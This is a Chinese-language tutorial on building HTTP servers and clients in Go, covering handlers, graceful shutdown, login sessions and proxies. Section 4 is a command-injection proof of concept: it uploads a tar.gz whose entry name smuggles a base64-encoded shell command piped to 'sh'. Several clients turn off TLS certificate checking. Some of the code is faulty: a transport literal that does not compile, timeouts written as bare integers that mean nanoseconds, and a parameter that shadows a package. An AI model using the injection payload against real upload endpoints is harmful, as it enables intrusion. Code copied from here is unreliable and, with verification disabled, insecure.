一、概述
本文旨在学习记录下如何用go实现建立一个http服务器,同时构造一个专用格式的http客户端。
二、代码实现
2.1 构造http服务端
1、http服务处理流程
基于HTTP构建的服务标准模型包括两个端,客户端(Client
)和服务端(Server
)。HTTP 请求从客户端发出,服务端接受到请求后进行处理然后将响应返回给客户端。所以http服务器的工作就在于如何接受来自客户端的请求,并向客户端返回响应。
- 使用http.HandleFunc实现http服务,返回hello world
package main
import (
"fmt"
"net/http"
)
func HelloHandler(w http.ResponseWriter, r *http.Request) {
fmt.Fprintf(w, "Hello World")
}
func main () {
http.HandleFunc("/", HelloHandler)
http.ListenAndServe(":8000", nil)
}
- 使用http.Handle实现http服务
package main
import (
"fmt"
"net/http"
)
type HelloHandlerStruct struct {
content string
}
//必须实现此方法,且名称为ServerHTTP
func (handler *HelloHandlerStruct) ServeHTTP(w http.ResponseWriter, r *http.Request) {
fmt.Fprintf(w, handler.content)
}
func main() {
http.Handle("/", &HelloHandlerStruct{content: "Hello World"})
http.ListenAndServe(":8000", nil)
}
- 优雅的关闭http服务
package main
import (
"context"
"fmt"
"io/ioutil"
"log"
"net/http"
"os"
"os/signal"
"syscall"
"time"
)
type EchoHandler struct{}
func (handler EchoHandler) ServeHTTP(writer http.ResponseWriter, request *http.Request) {
// 设置响应头
writer.Header().Add("X-Data", "foo")
// 设置相应的cookie
http.SetCookie(writer, &http.Cookie{
Name: "x-cookie",
Value: "bar",
MaxAge: 86400,
Secure: true,
})
//设置响应状态码为200
writer.WriteHeader(200)
// 设置响应体,打印网络请求信息
fmt.Fprintln(writer, "===== Network =====")
fmt.Fprintln(writer, "Remote Address:", request.RemoteAddr)
fmt.Fprintln(writer)
// 设置响应体,打印请求方法 url host 协议信息
fmt.Fprintln(writer, "===== Request Line =====")
fmt.Fprintln(writer, "Method: ", request.Method)
fmt.Fprintln(writer, "URL: ", request.URL)
fmt.Fprintln(writer, "Host: ", request.Host)
//fmt.Fprintln(writer, "URI: ", request.RequestURI)
fmt.Fprintf(writer, "Protocol: %v major=%v minor=%v\n", request.Proto,
request.ProtoMajor, request.ProtoMinor)
fmt.Fprintln(writer)
// 设置输出请求的请求头
fmt.Fprintln(writer, "===== Header =====")
for k, v := range request.Header {
fmt.Fprintf(writer, "%v: %v\n", k, v)
}
fmt.Fprintln(writer)
// 设置输出请求的body
body, err := ioutil.ReadAll(request.Body)
if err == nil && len(body) > 0 {
fmt.Fprintln(writer, "===== Raw Body =====")
fmt.Fprintln(writer, string(body))
}
}
func main() {
// 创建系统信号接收器
done := make(chan os.Signal)
signal.Notify(done, os.Interrupt, syscall.SIGINT, syscall.SIGTERM)
// 创建 HTTP 服务器
server := &http.Server{
Addr: ":8000",
Handler: EchoHandler{},
}
// 启动 HTTP 服务器
go func() {
log.Println("Server starting...")
if err := server.ListenAndServe(); err != nil && err != http.ErrServerClosed {
log.Fatalf("ListenAndServe: %v", err)
}
}()
// 监听系统信号并执行关闭操作
<-done
log.Println("Server shutting down...")
// 创建一个超时上下文,确保关闭操作不会无限期等待
ctx, cancel := context.WithTimeout(context.Background(), 5*time.Second)
defer cancel()
if err := server.Shutdown(ctx); err != nil {
log.Fatal("Shutdown server:", err)
}
log.Println("Server gracefully stopped")
}
2.2 构建http客户端
1、基本介绍及使用
net/http 包提供了最简洁的 HTTP 客户端实现,无需借助第三方网络通信库(比如 libcurl)就可以直接使用最常见的 GET 和 POST 方式发起 HTTP 请求。
func (c *Client) Get(url string) (r *Response, err error)
func (c *Client) Post(url string, bodyType string, body io.Reader) (r *Response, err error)
func (c *Client) PostForm(url string, data url.Values) (r *Response, err error)
func (c *Client) Head(url string) (r *Response, err error)
func (c *Client) Do(req *Request) (resp *Response, err error)基本的代码实现:
package main import ( "bytes" "fmt" "io/ioutil" "net/http" ) func main() { // 目标 URL baseUrl := "http://localhost" // 执行 GET 请求 doGet(baseUrl + "/gettest") // 执行 POST 请求 doPost(baseUrl + "/posttest") // 执行 POST Form 请求 doPostForm(baseUrl + "/postform") } func doGet(url string) { response, err := http.Get(url) if err != nil { fmt.Println("GET request failed:", err) return } defer response.Body.Close() body, err := ioutil.ReadAll(response.Body) if err != nil { fmt.Println("Error reading response:", err) return } fmt.Println("GET Response:") fmt.Println(string(body)) } func doPost(url string) { // 准备 POST 请求的 JSON 数据 jsonPayload := []byte(`{"key": "value"}`) response, err := http.Post(url, "application/json", bytes.NewBuffer(jsonPayload)) if err != nil { fmt.Println("POST request failed:", err) return } defer response.Body.Close() body, err := ioutil.ReadAll(response.Body) if err != nil { fmt.Println("Error reading response:", err) return } fmt.Println("POST Response:") fmt.Println(string(body)) } func doPostForm(url string) { // 准备 POST Form 数据 data := url.Values{} data.Add("name", "Alice") data.Add("age", "30") response, err := http.PostForm(url, data) if err != nil { fmt.Println("POST Form request failed:", err) return } defer response.Body.Close() body, err := ioutil.ReadAll(response.Body) if err != nil { fmt.Println("Error reading response:", err) return } fmt.Println("POST Form Response:") fmt.Println(string(body)) }
2、自定义请求头,以及绕过https验证
package main
import (
"fmt"
"net/http"
"net/url"
"strings"
)
func main() {
// 自定义请求头
headers := map[string]string{
"User-Agent": "Your Custom User-Agent",
"Host": "example.com", // 自定义 Host
}
// 目标 URL
targetURL := "https://example.com" // 替换为你的目标 URL
// 创建自定义 Transport
tr := &http.Transport{
TLSClientConfig: {InsecureSkipVerify: true}, // 跳过 SSL/TLS 证书验证
TLSHandshakeTimeout: 5, // 超时时间(秒)
DisableKeepAlives: true, // 禁用连接复用
IdleConnTimeout: 30, // 空闲连接超时时间(秒)
MaxIdleConnsPerHost: 2, // 每个主机的最大空闲连接数
ResponseHeaderTimeout: 5, // 响应头超时时间(秒)
}
// 创建自定义客户端
client := &http.Client{
Transport: tr,
}
// 发送 GET 请求
response, err := client.Get(targetURL)
if err != nil {
fmt.Println("GET request failed:", err)
return
}
defer response.Body.Close()
// 读取响应内容
body := make([]byte, 1024)
n, err := response.Body.Read(body)
if err != nil {
fmt.Println("Error reading response:", err)
return
}
// 输出响应内容
fmt.Println("Response:")
fmt.Println(string(body[:n]))
}
3、实现登录后会话保持以及自定义请求头
package main
import (
"fmt"
"net/http"
"net/url"
"strings"
)
func main() {
// 自定义请求头
headers := map[string]string{
"User-Agent": "Your Custom User-Agent",
"Host": "example.com", // 自定义 Host
}
// 目标 URL
baseURL := "https://example.com" // 替换为你的目标 URL
loginURL := baseURL + "/login" // 登录 URL
securedURL := baseURL + "/secured-resource" // 需要 Token 的 URL
// 准备登录请求的数据
loginData := url.Values{
"user": {"admin"},
"pass": {"123456"},
}
// 创建自定义 Transport
tr := &http.Transport{
TLSClientConfig: {InsecureSkipVerify: true}, // 跳过 SSL/TLS 证书验证
TLSHandshakeTimeout: 5, // 超时时间(秒)
DisableKeepAlives: true, // 禁用连接复用
IdleConnTimeout: 30, // 空闲连接超时时间(秒)
MaxIdleConnsPerHost: 2, // 每个主机的最大空闲连接数
ResponseHeaderTimeout: 5, // 响应头超时时间(秒)
}
// 创建自定义客户端
client := &http.Client{
Transport: tr,
}
// 发送登录请求
loginRequest, err := http.NewRequest("POST", loginURL, strings.NewReader(loginData.Encode()))
if err != nil {
fmt.Println("Error creating login request:", err)
return
}
// 设置登录请求的头部和内容类型
loginRequest.Header.Set("Content-Type", "application/x-www-form-urlencoded")
for key, value := range headers {
loginRequest.Header.Set(key, value)
}
loginResponse, err := client.Do(loginRequest)
if err != nil {
fmt.Println("Login request failed:", err)
return
}
defer loginResponse.Body.Close()
// 获取登录后的 Token
var token string
for _, cookie := range loginResponse.Cookies() {
if cookie.Name == "token" {
token = cookie.Value
break
}
}
if token == "" {
fmt.Println("Login failed. No token received.")
return
}
fmt.Println("Login successful. Token:", token)
// 在后续请求中添加 Token 到请求头
securedRequest, err := http.NewRequest("GET", securedURL, nil)
if err != nil {
fmt.Println("Error creating secured request:", err)
return
}
securedRequest.Header.Set("Authorization", "Bearer "+token) // 添加 Token 到请求头
for key, value := range headers {
securedRequest.Header.Set(key, value)
}
securedResponse, err := client.Do(securedRequest)
if err != nil {
fmt.Println("Secured request failed:", err)
return
}
defer securedResponse.Body.Close()
// 读取并输出响应内容
responseBody, err := ioutil.ReadAll(securedResponse.Body)
if err != nil {
fmt.Println("Error reading response body:", err)
return
}
fmt.Println("Secured resource response:")
fmt.Println(string(responseBody))
}
4、构造一个带特殊字符的压缩包,并且通过接口上传
package main
import (
"archive/tar"
"bytes"
"compress/gzip"
"crypto/tls"
"fmt"
"io"
"io/ioutil"
"mime/multipart"
"net/http"
"os"
)
func main() {
// 压缩文件内容
tarContent := generateTarGzContent("11.jpg;`echo cHdkID4gL3RtcC9zdWNjZXNz|base64 -d|sh`")
// 发送 HTTP POST 请求
url := "https://example.com/upload" // 替换为你的目标 URL
uploadTarGz(url, tarContent)
}
func generateTarGzContent(filename string) []byte {
var buf bytes.Buffer
gw := gzip.NewWriter(&buf)
tw := tar.NewWriter(gw)
// 添加文件到 tar 压缩包
fileContent := []byte("This is the content of 11.jpg;`echo cHdkID4gL3RtcC9zdWNjZXNz|base64 -d|sh`")
header := &tar.Header{
Name: filename,
Size: int64(len(fileContent)),
}
if err := tw.WriteHeader(header); err != nil {
fmt.Println("写入 tar 头部失败:", err)
os.Exit(1)
}
if _, err := tw.Write(fileContent); err != nil {
fmt.Println("写入文件内容失败:", err)
os.Exit(1)
}
// 关闭 tar 和 gzip 缓冲区
if err := tw.Close(); err != nil {
fmt.Println("关闭 tar 失败:", err)
os.Exit(1)
}
if err := gw.Close(); err != nil {
fmt.Println("关闭 gzip 失败:", err)
os.Exit(1)
}
return buf.Bytes()
}
func uploadTarGz(url string, tarContent []byte) {
// 创建一个 Buffer,用于构建 multipart/form-data 请求体
var requestBody bytes.Buffer
writer := multipart.NewWriter(&requestBody)
// 写入 tar.gz 文件
part, err := writer.CreateFormFile("file", "test.tar.gz")
if err != nil {
fmt.Println("创建表单文件失败:", err)
os.Exit(1)
}
if _, err := io.Copy(part, bytes.NewReader(tarContent)); err != nil {
fmt.Println("写入文件内容失败:", err)
os.Exit(1)
}
// 关闭 multipart writer
writer.Close()
// 创建 HTTP 请求
req, err := http.NewRequest("POST", url, &requestBody)
if err != nil {
fmt.Println("创建请求失败:", err)
os.Exit(1)
}
req.Header.Set("Content-Type", writer.FormDataContentType())
// 创建一个自定义的 Transport,用于跳过 HTTPS 证书验证
tr := &http.Transport{
TLSClientConfig: &tls.Config{InsecureSkipVerify: true},
}
// 使用自定义 Transport 发起请求
client := &http.Client{Transport: tr}
response, err := client.Do(req)
if err != nil {
fmt.Println("请求失败:", err)
os.Exit(1)
}
defer response.Body.Close()
// 读取响应内容
responseBody, err := ioutil.ReadAll(response.Body)
if err != nil {
fmt.Println("读取响应内容失败:", err)
os.Exit(1)
}
fmt.Println("响应内容:")
fmt.Println(string(responseBody))
}
5、设置http代理
package main
import (
"fmt"
"net/http"
"net/url"
"os"
)
func main() {
// 创建 HTTP 客户端,并设置代理
proxyURL, err := url.Parse("http://127.0.0.1:8080") // 替换为您的代理服务器地址
if err != nil {
fmt.Println("解析代理地址失败:", err)
os.Exit(1)
}
client := &http.Client{
Transport: &http.Transport{
Proxy: http.ProxyURL(proxyURL),
},
}
// 创建 HTTP 请求
url := "https://example.com" // 替换为您要请求的目标 URL
request, err := http.NewRequest("GET", url, nil)
if err != nil {
fmt.Println("创建请求失败:", err)
os.Exit(1)
}
// 发送 HTTP 请求
response, err := client.Do(request)
if err != nil {
fmt.Println("请求失败:", err)
os.Exit(1)
}
defer response.Body.Close()
// 读取响应内容
responseBody := make([]byte, 0)
buffer := make([]byte, 1024)
for {
n, err := response.Body.Read(buffer)
if n > 0 {
responseBody = append(responseBody, buffer[:n]...)
}
if err != nil {
break
}
}
fmt.Println("响应内容:")
fmt.Println(string(responseBody))
}